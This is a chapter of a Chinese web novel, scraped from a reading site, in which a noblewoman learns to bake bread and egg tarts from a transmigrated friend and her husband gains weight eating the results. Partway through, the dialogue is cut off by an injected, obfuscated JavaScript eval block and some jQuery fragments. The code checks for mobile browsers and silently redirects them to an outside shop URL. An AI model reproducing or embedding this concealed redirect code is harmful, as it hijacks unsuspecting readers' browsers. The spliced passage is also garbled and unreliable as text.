123读书网 > 都市小说 > 守寡再婚后,亡夫回来了 > 33. 第 33 章
    沈婉仪并没有因为这一次的失败而感到沮丧,正如那日江霁月与她说的,她的“烘焙”之路还很长。


    她当时虽没听明白“烘焙”是什么,但隐隐约约猜到应该就是说她学做糕点的路途。


    沈婉仪从小对喜欢的事物就抱着持之以恒的心态,即使没有柳青砚的那些话,她仍是会继续坚持做下去。


    但该说不说,柳青砚的那些话还是在沈婉仪的心里留下了一丝触动。


    为了尽快上手,她这段时日每日都和柳青砚一同起来,柳青砚带着梁盈去私塾,自己去上值,沈婉仪便坐着马车去了怀安街。


    她和江霁月守着小厨房,连午膳都不必回府吃,吃着自己做的各种美食就能管一整日。


    有了第一日的经验后,沈婉仪再不敢随意走神,老老实实把江霁月说的话全部听进心里。


    江霁月打算在开业那天卖的除了那天她与她说的那几样喝的,还打算卖一些能裹腹的食物,她说一个是她家那边的汉堡,就是这边俗称的肉夹馍,一个是她家那边叫蛋挞的点心,这边她给取了名字是蛋酥,还有一个是她上次带过来的樱桃糯米团子,


    江霁月说的肉夹馍和蛋酥之前她曾经带给她尝过,味道虽比较新奇,但还是可以说十分美味。


    但是据江霁月所说,因为江府条件有限,她那时带过来的这两样东西都有些瑕疵,要达到贩卖的要求还有一定距离。


    于是这次她租了小厨房后,特意自己打造了一个用来烤制食物的窑。


    江霁月说有了这个窑,她们以后做各种东西都会事半功倍,像做汉堡的面包,还有蛋挞都是需要用到这个窑。


    沈婉仪以往所见过的烤制的食物都是用普通的火炉烤出来的,也只听说过烧制瓷器需要进窑炉,却不知道改良过后的窑还可以用来烤制食物。


    除了这个,江霁月还向她演示了加工鲜牛乳的办法。


    让鲜牛乳发酵两日后上下层分离,再将上层凝固的奶酪单独盛起放在锅里小火熬制,最后奶酪里面的油脂一点点熬出来变得清亮,将其过滤后盛起便是之后做面包和蛋挞需要用到的原料——简易版黄油。


    就这一小段时日,江霁月在她面前展示了各种不同做糕点的技巧和手法以及熟练使用各种工具的流程。


    沈婉仪简直看得目瞪口呆,她从未知晓,这些小小的糕点背后居然有这么多的门道和讲究。


    随着江霁月展示的技能越多,沈婉仪是越发佩服起自己的这个好友来了,她从她身上总能知道各种新奇的知识,现在又学到各种技能。


    她甚至产生了一种骄傲的感觉,自己居然能和这么厉害的一个人是挚友的感觉。


    她将这些话告诉江霁月的时候,江霁月在一旁听得脸都红了,她一直在摆手,说她只是赶上了好时候,她的家乡那里有着非常完善的烘焙流程,她也是跟着老师学的。


    沈婉仪知道江霁月说的家乡并不是她姨娘的惠州老家,而是她曾经告诉她的,她在梦里的另一个家。


    十年前,建元九年,江修远当时还不是太常寺主簿。


    他的三女儿江霁月在当年的端阳节落水之后昏迷了足足一个月,当时请来的大夫几乎都说药石无医,可以准备后事了,可偏偏一个月后江霁月硬是慢悠悠地醒转了过来。


    只是醒了之后的江霁月,与之前唯唯诺诺、沉默寡言的性子是大相径庭,偶尔还会吐出一些周围人都听不懂的话。


    为着这事,江府当时又请大夫又请大师的,可惜无论是大夫还是大师都无法找出江霁月如此行径的原因,只说是昏迷了太久,恐伤了脑子,不过对身体无碍,只待好好将养便是。


    没过多久,江霁月的性子竟真如大夫所言真的收敛了许多,嘴里的胡话也越来越少了,她似乎又变回了以往的那个江霁月,江府也不再找大夫或大师来替她“看病”了。


    但沈婉仪知道,这一切不过是她伪装的假象,从她认识江霁月开始,她便一直是那个跳脱性子的江霁月。


    跳脱的江霁月告诉她,她晕过去的那一个月里她到了另一个世界,那个世界与齐国截然不同,她在那里生活了许久,直到一场意外才让她一睁眼来到了此处。


    江霁月告诉沈婉仪这些时,沈婉仪除了对她说的那个世界感到好奇外,并没有流露出过多的情绪。


    江霁月对她如此淡定的态度还觉得诧异,因为她在江府刚醒过来的那段时日不过是随口吐槽了几句“没有空调,没有冰箱”“好想玩手机,好想打游戏”啥的被人听见了,她爹和姨娘陆陆续续请了好几个大夫和大师来江府帮她“治病”和“驱邪”。


    对此,沈婉仪那时的回答是,“那是因为他们觉得你不一样了,甚至你的一言一行不像他们的女儿了。”


    “可我自打认识你,你就是现在这个性子,从始至终我认识的你并没有什么不同。”


    “至于你说的那些我听不懂的词,”说到这时,沈婉仪淡淡喝了一口茶,“我不认为这是什么需要‘驱邪’的事。”


    “况且你现在只在我面前讲这些话,说明你非常信任我,我的手帕交只把这些话讲给我一个人听,我应该为此感到高兴才是,你说是不是这个道理?”


    “那可太是这个道理了,不过你放心,我现在都已经收敛了,不会整日‘胡言乱语’了。”江霁月巴掌一拍,很是激动,说到后面,她特意把“胡言乱语”这几个字咬的重了一些。


    沈婉仪那时一听便只知道她在和她开玩笑,等到她抬头望向她时,果不其然看见江霁月脸上夸张的表情,沈婉仪不禁失笑。


    现在江霁月又重新提起梦里的那个家乡,说她的这些技能都是从那里学的,听得沈婉仪不禁更加好奇,那里到底是个什么模样。


    “婉婉,我跟你讲,你把我这些技能全都学会了,若是有朝一日你也去到我说的那里,那你肯定也能凭借这些技能养活自己。”


    江霁月说着,正麻利地往面包窑里面递着木材,旁边的桌上放着她们刚刚做好的面包胚和蛋挞酥皮。


    这段时日,江霁月看着沈婉仪这么积极的模样,也干劲十足,每日早早地就来了小厨房做着准备工作。


    对着沈婉仪这个徒弟,江霁月比起她说的老师对她还要上心,她并不和她的老师一样,先全部演示一遍,再让她上手,而是在第一遍做的时候就同时让沈婉仪跟着一起做了。


    她们两人一同制作完后,沈婉仪又会立刻接着自己重新做一遍,江霁月在一旁指出她犯的小错误,第二次做完后,沈婉仪最后一次是完全自己做,这样一来二去,沈婉仪很快就对整个流程完全熟悉了。


    相较于喝的那几样饮品,这些小巧的食物显然更费时费力。


    虽然沈婉仪已经全部熟悉了流程,但毕竟才刚开始上手,自己做时仍然会出现大大小小的状况。


    比如前面几日,由于对面包窑的温度还不是很了解,沈婉仪自己第一次送进去的那几个面包胚全部成了焦炭。


    那时她才刚刚跟着江霁月烤出了一盘卖相还不错的面包,乍然看见一盘的焦炭,竟一时没反应过来。


    江霁月告诉她送进去后大约等一炷香的时间就可以了,若是因为火候不够又或是其他原因导致面包取出来发现还没烤好,只需再重新送进去多等一会儿就行。


    沈婉仪记得她刚刚重新送进去也没有多久,怎么就全部烤焦了?


    江霁月正在屋里揉着面团,等了半天没见到人,出来找她,就看到她正盯着一盘的黑炭发呆。


    “怎么把炭给拿出来了,面包呢?”


    沈婉仪听到问话,抬起欲哭无泪的脸回头看向江霁月,半响,她才找回来自己的声音,“霁月,这好像......就是我刚刚送进去的面包。”


    江霁月也走近了,出炉的“焦炭”在外面吹了好一会儿的风已经褪去了温度,她随手拿起一个轻轻一捏,面包就在她手中化成了灰。


    “你这是等待的时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079691|192630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太长了,你中途有取出来看过状态吗?”


    “看过的,但是那时看的时候面团的颜色都还没有变,我就多等了一会儿。”沈婉仪有些羞愧,声音越说越低,“......再取出来就变成这样了。”


    “你下次以一炷香的时间为基准,若是到了一炷香,还没烤好,就每隔半盏茶看一下,这样就不会烤糊了。”


    江霁月的这番话显然是相当有用的,自从这次“焦炭”事件后,沈婉仪再也没有烤制出如此焦糊的食物。


    她还学会了随机应变,学会了根据不同不同种类的食物掐着时间去看它们的状态,只为它们都呈现出最好的卖相。


    连着二十多日的时间,沈婉仪一直反复练习开业时要售卖的几种食物,直到终于能够稳定地制作出成品时,沈婉仪才深深呼出一口气,她这段时日的努力没有白费。


    其实,早在嫁给柳青砚之前,江霁月来沈国公府时,沈婉仪就曾经问过她当初是找的何人学习,又是如何学习这些制作这些东西的。


    江霁月告诉她,她们的老师会在她们眼前演示一遍,再让她们自己上手操作,老师在一旁指点。最后制作的成果,无论好坏,老师都会让她们带回去,让她们自己或者和他人一起品尝。


    沈婉仪当时便想着若是她自己动手来制作这些糕点,到时候做出的成果,江霁月应该也是要让她带回去的。


    若是经过大量的练习,她迟早会做出完美的成品,但在那之前,沈婉仪也曾在心里犯过难,做出来的失败品她该如何处理?


    若是直接扔了,那未免太过浪费,若是让她自己解决,她又吃不了这么多,若要她与人分享,这些都是失败品,她也不好意思送给别人。


    那日柳青砚说的话,沈婉仪原本也没放在心上,可直到她发现这段时日她带回去的那些东西,无论是好还是坏,他竟然全都照单全收。


    甚至最后他都不在府里用晚膳了,只等着吃她带回去的那些东西,沈婉仪这才意识到他并不是在说假话。


    沈婉仪曾想过,她的手艺进步得这么快,或许也有柳青砚的一份功劳,因为想着每日都会有这么一个“顾客”在等着吃她做的食物,若是手艺还是一成不变,那实在是太丢人了些。


    但近来柳青砚的脸庞似乎瞧上去比以往圆润了些,沈婉仪怀疑这是不是他每日都将她带回去的东西全都吃完了的缘故。


    沈婉仪今日无意间和江霁月聊起这个话时,江霁月脸上全是憋不住的笑容,她笑地眼睛都眯了起来,她问她,柳青砚是不是连着二十多日晚上都吃了肉夹馍和蛋酥。


    沈婉仪不清楚江霁月这么笑的原因,她虽感到疑惑,但还是肯定地点了点头,“最近做得越发成功了,阿盈也会吃一些,不过连日来,确实是柳大人一直在吃。”


    江霁月听了她的话,笑的更加大声了,“连着吃了二十多日的蛋挞和汉堡,还都是晚上,那他不长胖,谁长胖啊?”


    江霁月一边笑着,一边给她解释了这两样东西的热量有多高。


    “什么是热量?”


    “唔,就是你每日做各种活动需要的身体需要的能量。”


    江霁月说完,仍是觉得自己说的有些不够明白,又补充道,“你别看我们做的这些东西都小小一个,但实际上吃一个肉夹馍差不多能赶上吃三四碗米饭了,一个小小的蛋酥也能赶上一碗米饭呢。”


    “你可以换算一下,你的柳大人最近每晚吃了多少米饭?”江霁月笑着拍了拍她的肩膀道。


    沈婉仪在脑袋里默默算着,越算她就越笑不出来了,因为她每日带回去的东西虽不是很多,但最起码也有两个肉夹馍和四个蛋酥,虽不是定量,但数量上是差不多的。


    那柳大人岂不是每晚差不多吃了......差不多十碗米饭?!


    怪不得沈婉仪今早起床时,迷迷糊糊听见他说官服似乎紧了一些,合着都是她的缘故?!


    这要她今晚回去如何面对他?